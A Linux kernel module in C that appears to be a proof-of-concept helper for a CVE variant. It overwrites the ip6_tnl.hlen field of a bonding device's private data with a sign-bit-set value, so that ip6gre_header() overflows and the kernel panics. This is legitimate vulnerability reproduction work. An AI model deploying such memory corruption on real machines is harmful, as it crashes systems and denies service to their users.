// SPDX-License-Identifier: GPL-2.0
// CVE-2026-43456 VARIANT helper (ip6gre): populate the type-confused
// ip6_tnl.hlen field inside netdev_priv(bond) with a sign-bit-set value,
// emulating a layout where the bonding memory overlapping ip6_tnl.hlen holds
// a value whose sign bit is set.  This makes ip6gre_header()'s
// `needed = t->hlen + sizeof(*ipv6h)` (sizeof(ipv6hdr)=40) overflow to a
// negative int, so the real AF_PACKET -> dev_hard_header() -> ip6gre_header()
// -> pskb_expand_head() path hits BUG_ON(nhead < 0) and panics -- the same
// kernel DoS sink as the ipgre case, reached via the distinct ip6gre sink
// (net/ipv6/ip6_gre.c:ip6gre_header, reading struct ip6_tnl).
//
// On the FIXED kernel this write is harmless: bond_header_ops delegates
// ip6gre_header to the slave ip6gre1 device, so netdev_priv() correctly
// returns struct ip6_tnl of ip6gre1 and the bond's private data is never read
// as ip6_tnl.
#include <linux/module.h>
#include <linux/netdevice.h>
#include <linux/stddef.h>
#include <net/ip6_tunnel.h>

static char *ifname = "bond1";
module_param(ifname, charp, 0644);

/* Sign-bit-set value -> needed = hlen + 40 overflows to a negative int. */
static unsigned int confused = 0x961a63cc;
module_param(confused, uint, 0644);

static int __init populate_hlen6_init(void)
{
	struct net_device *dev = dev_get_by_name(&init_net, ifname);
	struct ip6_tnl *t;
	int *hlenp, old;

	if (!dev) {
		pr_err("CVE-2026-43456 VAR(ip6gre): device %s not found\n", ifname);
		return -ENODEV;
	}
	t = netdev_priv(dev);
	hlenp = &t->hlen;
	old = *hlenp;
	*hlenp = (int)confused;
	pr_info("CVE-2026-43456 VAR(ip6gre): %s priv=%px ip6_tnl.hlen offset=%ld old=0x%08x(%d) new=0x%08x(%d)\n",
		dev->name, t, (long)offsetof(struct ip6_tnl, hlen),
		(unsigned)old, old, (unsigned)*hlenp, *hlenp);
	dev_put(dev);
	return 0;
}
module_init(populate_hlen6_init);
static void __exit populate_hlen6_exit(void) { }
module_exit(populate_hlen6_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("CVE-2026-43456 ip6gre type-confusion field populator (variant)");
